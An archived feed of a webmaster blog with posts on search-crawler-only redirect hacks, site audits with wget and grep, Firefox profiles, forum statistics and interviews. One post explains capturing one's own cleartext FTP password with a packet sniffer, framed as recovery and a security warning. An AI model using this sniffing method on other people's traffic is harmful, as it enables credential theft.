johnmu.com - technical website tips

Hackers stealing your PageRank

John Mueller — Sun, 07 Dec 2008 23:44:54 +0000

The last time I wrote about a hacked site, it was using a redirect that sent some users to a different site. This kind of hack is pretty common (even though it’s usually not as complex as mentioned in that post), it leverages the sad fact that users are often easy to trick and not browsing with protection (or a current browser).

A different angle of attack is to redirect only search engine crawlers to a different site. By doing this, they can make it look like the pages of a website moved to a new domain name. In general, when search engines find redirects like that, they will more or less pass the “value” that a page had on to the new URL — that generally also applies to PageRank. So in a sense, they are trying to steal the value that a webmaster has built up over time.

In this particular case, a “massive amount” of sites were hacked and likely redirected through suomi.co.in.

The webmaster generally doesn’t notice this kind of hack because there’s nothing that would alert him to a problem. Only search engine crawlers would get redirected, normal users (including the webmaster) would see the page normally.

The first symptom that you would see is hard to interpret: URLs from the website are just not indexed anymore. URLs not being indexed is something that could happen because of any number of reasons, so how do we find out more?

One of the first things I like to do in a case like this is to access the site with a search engine crawler’s user agent. This gives you a rough look at how the website reacts to a search engine crawler (although it’s not complete, it’s often pretty close). There are two relatively easy ways to do this:

Use an online tool such as Web-Sniffer. It’s pretty easy to use and is somewhat close to an actual crawler.
Use FireFox with the User Agent Switcher plugin. If you use this plugin, you’ll have to add the user agent yourself. I usually use the current Googlebot user agent string:

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Note: if you use Firefox for this, make sure that your Firefox installation is up to date and locked down properly in case you run into a site serving malware like this. Sometimes it even makes sense to use a virtual machine for this.
(I wish there were a half-”li” ) There’s also “wget”, which is easy for those of you who prefer use console tools. I usually use the above user agent string with wget.

If you access the site using one of these tools, you’ll often be able to spot these redirects (or other issues that a site might be having with regards to being accessed by search engine crawlers). It’s rare that someone uses cloaking by IP address for things like this. In a recent thread in the Webmaster Help forums, “webado” spotted the redirect using Web-Sniffer.

In this particular case, the URL was redirected to http://suomi.co.in/ , from where it was redirected to a page that they wanted to promote with the original site’s “value”. I’ve seen the same kind of redirect going through http://ahtung.co.in/.

The webmaster responded with a note from his hoster in the thread:

Note from my host server (support @ hostgator.com)
I have removed the file “.htaccess” from the directory /home/aceuropa which was causing the redirect. The logs show a massive amount of .htaccess files being edited over the last couple of days. I would highly suggest changing your password to something more secure. Please let us know if you have any further questions or concerns.

(It’s great to see a hoster act so quickly!)

There’s another way to spot this kind of hack with Google Webmaster Tools: When you submit a Sitemap file, Google will show warnings for URLs that redirect. By design, you should be listing the final URL in your Sitemap file, so if the URL is redirecting for our crawlers (as in this case), we’ll show a warning in your account.

Copyright © 2013 johnmu.com. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact johnmu.com so we can take legal action immediately.
Plugin by Taragana

Seeing nofollow links in Google Chrome

John Mueller — Fri, 05 Sep 2008 22:31:15 +0000

Here’s a simple trick to view nofollow links in Google Chrome. Just drag and drop the following button to your bookmark bar and hit it whenever you want to see links with the rel=nofollow HTML microformat:

Nofollow?

This bookmarklet inserts a tiny bit of CSS into the top of the page you’re currently viewing. The CSS is similar to that which is used in other nofollow highlighting methods:

a[rel~=nofollow] {
border:1px dashed #852! important;
background-color:#fcc! important;
}

Try it out on a page with nofollowed links!

By the way, this bookmarklet also works in Opera & Firefox (but there are simpler ways to handle it in Firefox).

Confirm that you’re using Analytics on all pages

John Mueller — Tue, 20 May 2008 23:27:09 +0000

Here’s something from my mailbox – someone wanted to know how he could crawl his site and confirm that all of his pages really have the Google Analytics tracking-code on them. WordPress users have it easy, there are plugins that handle it automatically. Sometimes it’s worth asking nicely – let me show you how I did it. As a bonus, I’ll also show how you can check the AdSense ID on your pages, if you’re worried that you copy/pasted it incorrectly.

This is pretty much cross-platform, but as a Windows-user you’ll have to grab and install two files first:

wget – a tool to download copies of web pages
UnxTools – a collection of popular Unix/Linux tools for the hacker in you

Extract the ZIP files, copy the contents somewhere where you can find it and make sure that the appropriate folders are in your “path” (the files you’ll need for UnxTools are in “…\usr\local\wbin”). We’ll need to access these tools through the command line. I have a feeling I may need to elaborate on that for Windows users — let me know if that’s the case.

First, we’ll mirror our site on our local machine (this assumes that your site is crawlable; if it isn’t, then fix it first ):

Open a command box or terminal window (on Windows, hit Start / Run … and enter “cmd”)
Go to or create a temporary folder
Run the following command to mirror your site:
wget --mirror --accept=html,htm,php,asp,aspx http://domain.com/

This command mirrors pages with .html, .htm, .php, .asp and .aspx extensions on http://domain.com/. It’ll create a folder for the domain and put all the files in it. Dynamic URLs will get adjusted so that they can be used as file names.
Wait … until it’s all downloaded … if it feels endless, you might have endless URLs, perhaps an infinite calendar script or something similar? It’s worth fixing!

Alrighty, now that we have a copy of your site, let’s check things out.

Finding pages without Analytics

We can find pages without the Analytics tracking code by listing all pages which do not have certain content in them:

grep -r -L "google-analytics.com" *.*

This command goes through all subfolders (the “-r” option) and lists the files that do not contain a match (“-L”) for “google-analytics.com”. That could be extended to just about anything .

How about pages that don’t have a “description” meta tag?

grep -r -L "meta name=.description" *.*

The “.” (period) matches any character — in this case, it is used to match the ” (double-quote).

Finding pages with AdSense (and the ID used)

Finding pages that contain a certain text is even easier:

grep -r "google_ad_client" *.*

Note that all we did was drop the “-L” (and change the text, obviously). It will show the lines that match this pattern in all of your pages, which includes the AdSense ID.

Similar to the earlier check for missing “description” meta tags, assuming you have the contents of that tag all in one line, you can easily find all of these meta tags with:

grep -r "meta name=.description" *.*

What would you like to search for today?

Running Firefox in parallel

John Mueller — Fri, 01 Feb 2008 23:14:39 +0000

Sometimes it would just be great to have multiple instances of Firefox running at the same time. Some web applications just love to eat memory in Firefox, some web pages go crazy if you have JavaScript enabled and sometimes you just want different sets of cookies to let you manage two accounts at the same time.

I’ve been trying to do that for years and did the most exotic things to make it happen. I’ve used four different browsers in parallel and I’ve even used a virtual PC running within my PC (that kind of defeats the desire to use less memory, but it feels neat anyway). In the end, a collegue in the office, who happens to use emacs as his main web browser , pointed me into the right direction.

Now I have three completely independant instances of Firefox running at the same time!

So what’s the trick?

Firefox has command line options to let you start multiple profiles and specify a certain one. In our case, we’re going to change the command line to:

“C:\Program Files\Mozilla Firefox\firefox.exe” -no-remote -P NewProfileName

To get started, check the name of your current profile. On Windows you can find it in “c:\Documents and Settings\[user-name]\Application Data\Mozilla\Firefox\Profiles”. It will generally have a few characters and numbers, a period and then the profile name (in my case it was something like “36fc232a.default”). Use this to adjust the settings of the icon you use to start up Firefox. On Windows, right-click on the icon and select “Properties”; you can add the options in the field called “Target”:

If you click on that icon now, it should start up Firefox just as before (ok, this is not the neat part yet ).

Now make a copy of the icon (I right-click drag it into a folder and select “Copy”) and change the command line options (and file name) again, only this time choose a different profile name. If you want to use a copy of your existing profile (with all cookies, bookmarks, themes and add-ons), you can do that by going into the folder where your profiles are stored (mentioned above) and copying your default profile. Now when you start up Firefox with that icon, it will bring the profile manager since it can’t find that new profile. Create a new profile and use the exact name you used in the options. You will then have a choice of either creating a completely new profile or using an existing profile folder.

Now you have two instances of Firefox running at the same time. They’re completely separate, so if one crashes, the other will continue normally. If one starts using too much memory, you can close it and restart it without impacting the other one. If you have conflicts with add-ons or want to use different cookie sets, just use a separate instance.

Since the various instances will generally look the same and be hard to keep apart, I just applied different themes to them. The “Safari-style” theme is my private one, the blue one is used for all my work-apps and the normal one is used for all kinds of testing.

This trick should work on all platforms with Firefox, not that I tried it out so try it at your own risk . Now if only I could migrate my IE profile back to Firefox …

Go hack yourself – recovering your FTP password

John Mueller — Sat, 12 Jan 2008 16:05:20 +0000

All of the websites I put together at the moment are used for playing around and testing things. It’s fun to set up a site, try some things out, delete it or just let it sit and then – usually much later – start over and try something else. The only problem is that by the time I am ready to start over, I have forgotten my password. I can find my user name, it’s in the FTP client and visible in my hosting control panel, but the password is not visible anywhere. The secure way would be to just pick a new password, but let’s assume you need your old one . The following will also work for email passwords stored in your email client, by the way.

What we’ll do is “sniff” the connection that your FTP client builds up, we’ll take a look at the packets sent out and received. Remember that other people can do this as well – say if you’re on an insecure wireless connection on the road — use secure connections and protocols whenever you can!

You’ll have to get a copy of Ethereal (freeware), a universal network analysis tool (there are many similar tools available, I like the flexibility of Ethereal). Download it, install it and start it up.

To get started, select the menu item Capture and Start, then choose your ethernet interface (WLAN, cable, etc) and let it start. You are now recording your complete network traffic, you 1337 self-h4x0r . Depending on what you’re doing at the moment, it may record a lot of traffic. We’ll filter it later on, so don’t worry about that.

Now start up your FTP client (make sure you’re not using a secure FTP connection) and connect to your server. When you connect to your server like that, you will send your user name and password over the network and Ethereal record that for you. Once you have that, you can stop capturing in Ethereal.

If you scroll through the data you collect like that, you’ll quickly notice that there’s a lot going over those wires. Let’s just look at the data going to and from our FTP server. You’ll have to get the IP address of your server (which you can usually do in a shell/command box by typing “nslookup ftp.yourservername.com”). In the filter box on top, enter: ip.addr eq nnn.nnn.nnn.nnn (where the “nnn’s” are the IP address of your server).

Once you only look at the data going to and from your server, you’ll see the authentication information right away:

Now that you see how easy it is to hack yourself, make sure that others can’t do the same with your account:

If you’re using a wireless connection, always assume that others can listen in (even if you’re using your own access point with WEP or WPA encryption).
Make sure that you use a secure version of FTP. In general, they will encrypt your authentication information so that it will not be readable on your network. Double-check it with Ethereal, if you want to be sure.
Change your FTP/email passwords after you have used them on an insecure connection like a hotel or airport wireless.
If you use a web-based email service, make sure that you are accessing the site with HTTPS and not HTTP. Most web-mail services allow that (though they may not activate it by default since it is a bit slower and is usually not needed on your home network).
Even if your FTP (or email) client encrypts passwords in the settings, they can still be read with the right tools.

Stay safe!

How to use Google webmaster tools stats with Excel

John Mueller — Thu, 29 Nov 2007 00:34:42 +0000

Google’s webmaster tools has a neat feature that lets you download your query and click statistics (once you have verified ownership of your site). The data you can get from there is quite comprehensive, but hard to break down for use in Excel. As a fun exercise I put together a small Python-script that takes the CSV file downloaded from your webmaster tools account and turns it into new CSV files for queries and for clicks (both with the position numbers as well).

Python is a neat little programming language, I like it more and more as I use it .

Here’s how to get started:

If you do not have Python installed, go and download and install Python. I assume most Apple OSX will have it installed, but I don’t have a Mac so I can’t say for sure. It’ll almost certainly be installed if you’re one of the 3 Linux-users who have visited my blog. If you’re using Windows, take the version with the installer (it’s easier) and make sure that the folder where you installed Python is in your “path”.
Grab my wmtextract01.zip and extract it into a folder. You should have three files: wmtextract.py (the Python script) and ProcessAll.bat + ProcessAll.py.
Copy your query stats CSV files into that folder as well.
Double-click on ProcessAll.py (or ProcessAll.bat if you’re on Windows and don’t have Python set up to run scripts directly)
The script will now process all CSV files in the same folder, create a new folder called “output” and place the new CSV files there.
Open the new CSV files in Excel (or Open Office or even Google Docs + Spreadsheets)
Enjoy

Here are some more ideas for the CSV files when you have them in Excel:

Select everything (Ctrl-A) and set up an “AutoFilter” (menu item Data / Filter / AutoFilter). Now you can filter your stats however you want them. Want to only see the queries for which you rank #1? How about the queries that people from Switzerland used to find your site?

Set the Location to “All locations” and search type to “All searches”, now select everything and sort by the last column (menu Data / Sort / has header row / sort by Column E, ascending). Now select the last two columns (D and E) and click on the chart icon. Choose an “XY scatter” chart and let it create it. This chart shows you the ranking of your site for the search queries. There are some problems with the chart like this (keywords can be listed several times), but I think it’s neat anyway

What’s the neatest information you ever found in your webmaster tools query stats?

Google Webmaster Groups statistics for September 2007

John Mueller — Tue, 23 Oct 2007 20:25:05 +0000

I finally got around to getting the statistics for September 2007 for the Google Webmaster Help Groups finished up. I have to admit the numbers for September aren’t the best, especially the counts for the posts by Googlers. Getting started at Google took quite some time and a lot of learning . And wow – look at the Googlers post in October (great work, everyone!).

On a slightly sader note, I don’t think I can continue to provide these statistics here. I hope I can work something out as a replacement though, we’ll see.. or maybe I would be better off just posting in the group instead .

Without further ado, here are …

The numbers

Number of new threads = 1157
Number of new posts = 5902
Average number posts/new thread = 4.81
Number of posts by new users = 915 (15.5%)
Number of threads by new users = 696 (60.2%)
Average number of posts in threads by new users = 4.8
Number of new threads started by Googlers = 2
Number of new posts by Googlers = 35

Feel free to compare to August and July 2007. Comparing those numbers to the previous months there’s a visible drop, especially in the number of posts (-1774 or 23%) and threads (-172 or 13%). I hope we can push that back up soon (and answer more questions in the FAQs so that fewer threads are needed ).

Top thread starters

burchman519 = 10
Admin Aaron = 9
tal7080 = 8
Tomcat619 = 8
Alaa Maanawi = 7
Chibcha = 7
ShaneMC = 7
JLH = 6
ARC = 5
gl-science.com = 5
Phil Payne = 5
Vic = 5
yorkieron = 5
azholkover = 4
Blue Fin = 4

Threads with Googlers participating

I hope we push this category off the charts in the next months!!

New threads started by Googlers

New threads started by regulars (>100 posts)

Lots of regulars are great to see. I love it when you come back and start a thread for something special.

Top most active threads

Being #1 with “Untitled Document” and Flash

John Mueller — Sat, 13 Oct 2007 20:58:30 +0000

Untitled Document

We’ve all seen it – “untitled document” is a popular page name, probably the most popular one out there. I wonder who decided that “untitled document” was better than no title at all? There are a lot of those pages out there, do they even know that a good title can do wonders?

Being “untitled” doesn’t make your pages uncrawlable though. If you wanted to go all out, you could make sure that your page has no indexable content at all and heck, just use Flash to display the whole homepage while we’re at it.

Of course doing that, you would think that it would probably destroy your site’s chances of being shown in search results. I suppose it generally would, but imagine if your site was still #1 in the results for your niche.

So I was in Kirkland and wanted to visit some local toy stores before I left. I’m still not sure if I go there for myself or to actually bring stuff home – having kids means that you finally get to go out and buy toys again . Anyway, I try the old faithful “toy store + location” query and browse the local search results to get a first idea. Google’s neat local search one-box on top of the normal results is always a good starting point.

Here are the results for “toy store kirkland“:

The #1 listing is one I actually checked out in person, it was easy to find and had lots of fun stuff (not as nice as the one in Los Gatos from my visit to the bay area though).

Tree Top Toys – a nice name with one of my keywords in it – has a site that is nothing more than an “Untitled Document” combined with a Flash-based homepage (sadly, even their old frames-based website was probably better for SEO). It ranks on top for a good local query though, imagine that.

When you look at the local search entry for their site, it shows that they have a couple of reviews (data imported from other sites), a photo (also imported) and that’s about it. From the looks of it (I don’t know too much about local search) they’re at that position because they’re close to the area and have some reviews, nothing special.

It looks like it doesn’t take much to hit the top spot in local search , and with that top local spot, you could be on top of the search results. Traditional SEO (working on on-site and off-site factors) isn’t even required (but it would probably be a good idea once the competition gets stronger) – you don’t even need paid links .

How much work would it be to go out and talk to local businesses to inform them of the possibilities, to get them interested in actually putting their information online for the local search engines (e.g., getting verified and adding information and photos manually) and to help them to inform customers of feedback possibilities online? It doesn’t take much, you could set up a good, short presentation within a few hours. The good-will and reputation that you could build that way might even get you the one or other contract for traditional SEO work (or web-design, etc.).

As mobile search gets more popular, local search is only going to get more and more important. Helping small businesses in your community to get a foot in the door does not take much. Take the time and show people how SEO – getting set up for local search – is something that can make a difference in a positive way.

Opportunities in Search

John Mueller — Sat, 22 Sep 2007 09:01:25 +0000

So I went to visit Google in Mountain View …

… and learned that every second sentence has to be prefixed with “so”. Wait, that’s not all.

I’m sure you’re all just reading this to hear about the secret information they’ve been feeding me, heh. Sorry, you’ll have to join Google yourself to find out more about that part. It’s been really interesting so far, so many documents to read and digest, so many neat people to meet and chat with, so much good food to eat (good thing I’m only here for a week). The Google campus is really neat, but it’s also good to get out and do something else, like getting some neat toys for the kids (bribe my way back to getting them to recognize me when I’m home)…

Where are you in local search?

So I’m off to find a neat toy store that has more than the average plastic junk. Of course I’ll try to use Google local search to help me find one, I’m sure there are lots of really great stores around here…

… only I can’t find out enough about them to be sure that I want tot go there. How far can you get with ["toy store" "mountain view"]? Some of the stores mentioned in the map view show more than just the location and some scraped user “reviews” (used lightly, when you read reviews which mention “conveniently located in …” and “… any seasonal holiday such as Easter, Valentine’s Day, etc.” – yeah sure, that’s how I would describe my a store) and an image copied from a page mentioning the store.

What if you want to narrow your search down? How the heck do you put “good” into words? There are people out there who think cheap plastic junk makes for a good child’s toy, so I can’t just add the word “good” (what’s up with “Uncle Frank’s BBQ” in there?). In the end I go for “wooden toys” or “wooden toys store” and try several locations in the area, checking the results of several local web directories that were included in the search results to pick out a handful of stores (which I write down on paper to feed into my GPS). I end up heading to The Wooden Horse in Los Gatos which was really fun (and made me buy way too much).

If you’re new to an area (or just visiting like I was), it can make sense to try to find good stuff through a search engine that can search based on location. I can understand that it’s a bit spotty way off in ~~Sweden~~ Switzerland (ok, in Sweden as well), but heck, we’re in the middle of Google’s backyard.

The average smaller brick and mortal store still has a web presence that is terrible. It doesn’t take much to get those websites cleaned up and ready for the minimal search engine friendliness. It doesn’t take much to get the business registered with Google local search. Do it! Help your local businesses to get it done, help the small guy get his business listed properly. Put a nice image in there, add a good description (without the “etc”), put the real hours in there and make sure that all of that is also shown on the website in a readable fashion. Do a good deed and help that mom & pop, where you get a special treatment, to get found online. It doesn’t take much, once you know what to do.

There is a lot of opportunity in local search, but it won’t happen by itself. This is where having a clean website really pays off for a local business – when the information is presented in a machine readable way a lot of this can be automated and made available correctly. It doesn’t take much work to add the rest, and suddenly even cars are sending customers.

Why can’t I browse your site on my phone?

Sometimes I forget my notes or – gasp – can’t get a wireless connection with my laptop and have to look things up on the way. Why is it still the exception to have a site that can be used with a mobile phone browser? Some people might be using the iPhone, but the general public isn’t (especially those who from undeveloped countries like Switzerland). Why is it still so hard to access sites on the phone? I just want to look up the address or the times they’re open, argh! Ironically even some of the sites that are running mobile ads are not ready to be browsed with a phone.

Saying that nobody is using a phone to access your site now is no excuse — if your site doesn’t work on a phone, nobody will use your site that way. Make it easy for a customer to find you on the phone, make it easy for them to view at least some minimal information about your site / business while on the road. The longer people wait to get this done right, the more business those who can do it will get until then . Opportunity is waiting!

Spoiled by web 2.0 – easily adding neat stuff for free

Well, this is kind of getting long but I’m still in Silicon Valley. I really need to get out, run up some hill and get some fresh air into my lungs. Searching for [hike mountain view] (don’t those brackets look neat?) leads me to http://www.bahiker.com/, which has a fancy map that I can click on. Looks good so far, I bet I can find something there. Going to the right area, I end up on a page with a map and a gazillion links (less than 100, so we’re still good, lol) all bunched up on the map.

I want something nice, a couple of miles long that goes up and down a bit and is somewhere in the area. The only way to find any of that is to click my way through almost every item that is somewhere in that general location. I wonder how much work went into making that map – the one that is almost useless (it can only give you a very rough location).

Maybe I’m just too Google-oriented now, but adding a nice map that can be annotated is really simple now (I’m sure you can do the same with some of the other online mapping services), eg:

View Larger Map

By using a system like Google Maps you can have a map that lets the user zoom in and check locations before actually going in and reading all about the details. You can even set up your own maps to be public, findable on Google Maps and Google Earth. How neat is that? Add a few images to the site, perhaps even a video and you’re all set to cover all bases for universal search.

To cover even more (and get another entry in the search results for your site ) you could even set up a Google Group for the site or set up a forum on your site (for more control over the look and feel, and to display your own ads). Using Google Groups you can get that done really quickly. For this site you could start a separate thread for each location and link to that from the pages themselves. As a user, it’s great to see multiple opinions about something before actually packing up and going someplace. User generated content is great — you only have to enable it, your users can fill it up for you (provided your site is compelling enough).

Another opportunity is kind of lost with regards to the ads on that site — they’re way on the bottom, a place where nobody would ever bother looking, let alone clicking. You can make more money with Adsense if you test where ads work best and use them there. If done right, the ads could even add value to the page. That alone doesn’t really provide value in search, but it could provide more motivation to keep the site “modern”.

There are opportunities in search all around – look around, take advantage or help others to take advantage of them!

Interview with Richard Hearne (“Red Cardinal”)

John Mueller — Thu, 06 Sep 2007 20:55:56 +0000

Hi Richard, welcome to my blog! When I look through the top posters in the Google Webmaster Help groups, you’re almost always in there – it’s great to have you there and your posts bring in a lot of background knowledge that I’m sure many site owners appreciate. It’s interesting that you are – as far as I can tell – the only one of the top posters who is professionally active in the website-area.

Hi John. Thanks so much for asking me to participate – it’s a great honour to talk with you. Odd that you mention about my professional background. It has dawned on me that I might be the only professional SEO on the group (I wasn’t sure about this), and I’m slightly surprised that there isn’t more participation by other professionals. I’m quite sure that there are lurkers from the SEM industry, as the group is an excellent educational resource. More thoughts on this aspect a little later. Back to your questions now.

Why do you spend so much of your time in the Google Webmaster Help groups – isn’t that almost like giving away the work that you would normally charge for? What’s in it for you?

Funny, I’m a little embarrassed that I don’t get more time to contribute on the group. I’m not sure why that is, but I suppose I feel a small amount of ownership having posted as regularly as possible. I actually went to my profile recently to try and see how I first came across the group. I can’t say with 100% confidence how I found the group, but I was able to uncover what it was that sent me there. I was trying to find out whether Google would give .EU cTLD any special treatment in terms of country level searches. My first interaction with the group was with another ‘regular’, and that individual gave his time and knowledge freely. There’s something very endearing to actions which are without motive.

I’ve been very lucky both personally and professionally in the past few years. I live a comfortable lifestyle and I’m getting opportunities to work on projects that even I would never have imagined not so long ago. In a way I owe some of my success to the group. There is only one resource I know of that provides more insight into Search Engines in general, and Google in particular. That resource is action – learning by doing. The group comes in a very close second place. The knowledge shared there is absolutely priceless. The individuals who contribute are, by and large, equal to and above many ‘professionals’ in the SEM field. As I said, the group is as close to the coalface as you can get without actually doing everything yourself.

What’s in it for me? A few things. The chance to mingle and converse with some very clever and insightful people (Random Chit-Chat can contain some gems), the ability to broaden my knowledge base, and, quite simply, the ability to commit the odd good deed or two and feel good about yourself.

As a professional website optimizer, for search engines, usability and accessibility, how do you rate the answers given in the groups? Do you feel that site owners are generally being given good advice?

I’m neck-deep in this kind of stuff professionally. I know that in some cases individuals and companies have saved or made themselves huge sums of money by logging into a Google Group and asking a question. I can safely say that some of the advice given there for free would attract substantial fees had it come from a large agency of superstar SEO. I think that speaks volumes for those ‘regulars’ who help people out day-in, day-out.

In my opinion the quality of advice given is generally of a very high quality. And I think the Group self-regulates itself pretty well, so if you see bad advice, more often than not it will be debunked fairly soon after by a regular. I can’t say that I’ve seen many instances where bad advice has been given (excepting the period where certain negative forces existed in the Group).

This might cause some grief, but I’m going to state for the record that I don’t believe that compliant mark-up makes much of a difference. I am very committed to clean mark-up, but I think modern crawlers can just about munch through anything, and bad mark-up is rarely the primary cause of ranking issues (indexation perhaps more so). Connected to this, I not a subscriber to the broken META validation problem. I know the code breaks validation, but if it really was an issue I think Google would do something about it. I actually shot Phil Payne an email on this once, and while I have the utmost respect for both Phil’s experience and view on this issue, I still just cannot bring myself to buy into this particular fact (or myth?).

I think the greatest shame about the group is the architecture of the application itself – some absolutely fantastic information gets buried by the crap platform that is ‘Groups’. I’ve been on it for near a year now, and I still can’t figure out a good way to sort the wheat from the chaff (and then to find the wheat later on… *sigh*).

You have a lot of really great content on your site – is there a reason why you don’t seem to promote that content in the Google groups?

Thank you. The beauty of the Group is that it is impartial and there are virtually never hidden agendas. I think that if I or any other poster was to start promoting their wares on the Group it would be a very negative development. Besides, I’ve never been one for overtly promoting myself or my business (inside the Group, or out), I prefer to talk about those things I have a passion for, and it just so happens that SEO, on-line marketing and on-line business are topics dear to me.

Oh, and just in case that’s misread by anyone – I’m not saying that it’s bad to point at your own content, just that I have to be a little more careful than others given the potential for perceived conflicts.

In the groups and in forums everywhere, the question of whether or not it’s worth it to make sure that a site is valid (X)HTML code and complies with the generally accepted usability and accessibility guidelines is always a hot topic. On your blog you often mention such errors in sites that you review, why is valid code, usability and accessibility so important to you as a SEO?

As a child I used to love Lego. Every time I got something new I’d rip open the box, discard the instructions and build from the picture. (Ended with my progression to Tecnics…) But seriously, you can obviously see that I don’t read ahead, hence I’ve sort of answered this above.

The valid code issue comes into play for me because it’s just so easy to manipulate good mark-up (tables for tabular data, not layout please). In terms of usability – well SEO is about achieving high ranks in the SERPs, but traffic is rather pointless if you cannot convert it. I’ve turned away quite a few jobs because I know that the site owner wont re-develop her site, and all the traffic in the world wont make any difference to the bottom line. In the past 6 months a large proportion of my work has been in usability and conversion optimisation actually.

Accessibility is a no-brainer for me. You needn’t conform with every point from the strictest guidelines, but why not give as wide an audience to your content? The added bonus is that crawlers rarely if ever have issues with well coded accessible websites. It’s a win-win.

Why is the focus of many of your blog postings on sites for and in Ireland? (I love the local touch with the unique and interesting content about search and websites in general.)

I suppose it’s a comfort zone thing. Most people tend to write about what they know best. And besides, I love to stir things up when I see websites that are making those stupid mistakes that require more effort than doing things well. (On an aside, controversy can be a very strong marketing tool, but manage wisely )

Is there anything I can pass on to Google, from you in particular, as a professional SEO, SEM and someone very active in the Google Groups?

*sigh* where do I start…

Webmaster console used to be great, but the information is becoming so stale that it borders on useless. (Part of me thinks this is all part of the great anti-SEO crusade Google is currently on.)
Stop crapping out my searches with spyware interstitials – I’m logged in, you can identify me, I’m not infected. (Further tactic in Google’s anti-SEO crusade.)
More Blue badges in the Group please – if you guys can take time out to hang in WMW, surely it’s not too much to expect a little interaction in your own ‘Official’ support forum?
On a local note – given the huge base here in Ireland (‘Paddyplex’) why isn’t Google more active in the local web community? MS puts you guys to aboslute shame with the local support they give to grass roots. Not even a peep out of Google.

Is there anything you’d like to add?

Very, very well done on your new job. Something tells me ‘perfect fit’ applies here. The only negative might be that Google’s gain will be the wider community’s loss… Hand on heart, you’re definitely one of the kindest and most knowledgeable people I’ve met on my short travels across the Interweb.

Thanks for your time, Richard!

No, thank you John.

Google Webmaster Groups statistics for August 2007

John Mueller — Sun, 02 Sep 2007 21:55:53 +0000

Another month goes by, here are the statistics for August (and some comparisons to July in brackets) 2007.

The numbers

Number of new threads = 1329 [+5.3%]
Number of new posts = 7676 [-1.0%]
Average number posts/new thread = 5.48 [-4.5%]
Number of posts by new users = 1061 (13.8%) [+30.0%]
Number of threads by new users = 813 (61.2%) [+13.4%]
Average number of posts in threads by new users = 4.9 [-2.0%]
Number of new threads started by Googlers = 4 [+33.3%]
Number of new posts by Googlers = 54 [-36.5%]

More posts by new users is nice to see – I hope that’s because the “feel” of the Groups has improved and not just because of strange things going on in the index .

Top posters

webado = 701
cass-hacks = 438
dockarl = 325
cristina = 317
JohnMu = 305
Phil Payne = 303
JLH = 287
abracadabra = 216
djc = 185
Robbo = 124
Sebastian = 96
seo101 = 92
Sam I Am = 90
burchman519 = 78
Randy P. = 74
beckysharpe = 68
roysnj = 67
MrOmnicron = 64
kklynnt = 60
Red Cardinal = 47

It’s great to see some new names in there! If you’re missing a link, put one (a clean one) in your profile and drop me a note.

Top thread starters

Alaa Maanawi = 15
JohnMu = 13
GeminiZin = 9
Dhanjal = 8
burchman519 = 7
JLH = 7
bobflack = 6
cass-hacks = 6
bornblue = 5
dss = 5
easytreasure = 5
hsanchezp = 5
Roh.it = 5
xor = 5
bonsai-resources = 4

Threads with Googlers participating

New threads started by Googlers

I hope these two lists can be removed in the future (because they’re too long).

New threads started by regulars (>100 posts)

This list is getting kind of long … is it interesting enough for anyone out there?

Top most active threads

A set of command-line Windows website tools

John Mueller — Thu, 30 Aug 2007 22:51:42 +0000

If you have to do things over and over again, it’s a good idea to use a tool to make things easier. Windows is a bit limited (or very – when compared to Linux) when it comes to batch file scripts and “wget” is limited to what it can do right out the box, so I sat down and wrote a few command line tools to help me with some of the website checks that I like to do.

The tools I included in this set can do the following:

Check the result codes for a URL (and follow in the case of a redirect) – or for a list of URLs
Create a list of the links found on a URL (or just particular ones)
Create a list of the links and anchor texts found on a URL (or just particular ones)
Create a simple keyword analysis of the indexable content on a URL

You can get the down from here (requires the Windows .NET runtime v1.1):

WebToolbox.zip (140kb)

WebResult

This tool accesses a URL and shows the result code that was returned. If the status is a redirect, it will display the redirection location and optionally follow it to check the final result code. It may be used with a list of URLs. The output is tab-delimited.

Example:
Check for correct canonical redirect:
Webresult http://johnmu.com/
Webresult http://www.johnmu.com/

WebLinks

This tool lists the links that are found on a URL. Note that it has an integrated HTML/XHTML parser – if the code on the page is not fully compliant, there is a chance of the parser not recognizing all links (it is fairly fail-safe, though).

This tool can use a cached version of the URL (from either this tool or one of the other ones) to save bandwidth. The cached versions are saved in the user’s temp-folder.

You have the choice of only listing domain outbound or insite links (to help simplify the output). Additionally links with the HTML microformat “rel=nofollow” may be marked as such. The output is in alphabetical order.

Usage:
WebLinks [options] (URL|urllist.txt)
Options:
–referer [referrer] (default: none)
–user-agent [user-agent] (default: “WebLinks”
–insite-only|-i (default: both in + out)
–outbound-only|-o (default: both in + out)
–ignore-nofollow|-n (default: off)
–cache|-c (default: off)
–verbose|-v (default: off)

Example:
Check the outbound links on a site.
WebLinks -o http://johnmu.com/

WebAnchors

This tool lists the links and anchor text as found on a URL. It uses the same HTML/XHTML parser as WebLinks. It can be used to find certain links (based on the URL, domain name, URL-snippets, or even parts of the anchor text). If the anchor for a link is an image, it will use the appropriate ALT-text, etc.

Example:
Check the links with “Google” in the anchor text.
WebAnchors -s “Google” http://johnmu.com/

WebKeywords

This tool does a simple keyword analysis on the indexable content of a URL. It also uses the above HTML/XHTML parser to extract the indexable text. It is possible to get single-word keywords or to use multi-word-phrases. The output is tab-delimited for re-use.

Example:
Extract 3-word keyphrases from a page:
Webkeywords -w 3 http://johnmu.com/

Combined usage of these tools

Find common keyphrases on sites linked from a page (uses a temporary file to store the URLs):

webanchors -c -o -a “Google” http://johnmu.com >temp.txt
webkeywords -c -w 3 temp.txt

Check result codes of all URLs linked from a page:

weblinks -c http://johnmu.com >temp.txt
webresult temp.txt >links.tsv

Compare result codes for multiple accesses:

echo. >results.tsv
for /L %i IN (1,1,100) DO webresult http://johnmu.com/ >>results.tsv

or more complicated to test a hack based on the referrer (all on one line):

for /L %i IN (1,1,100) DO webresult -u “Mozilla/5.0 (Windows; U) Gecko/20070725 Firefox/2.0.0.6″ -r http://www.google.com/search?q=johnmu http://johnmu.com/ >>results.tsv

I’d love to hear about your usage of these tools .

Interview with Craig “cass-hacks”

John Mueller — Tue, 28 Aug 2007 17:57:41 +0000

Hi Craig, welcome to my blog ! Craig is, for those that haven’t noticed, an alien from some solar system far away. At least that’s the conclusion I came to after reading his introduction, the overview page on his site and his “my first computer” posts. I’m pretty sure that he’s either alien or very, very creative (as in creative writing), I mean seriously, “I built my own computer when I was 12.“?! Craig has been a frequent contributor in the Google Groups, bringing in a lot of background knowledge, helping with stylesheets, javascript and all sorts of other issues that arrive on a regular schedule.

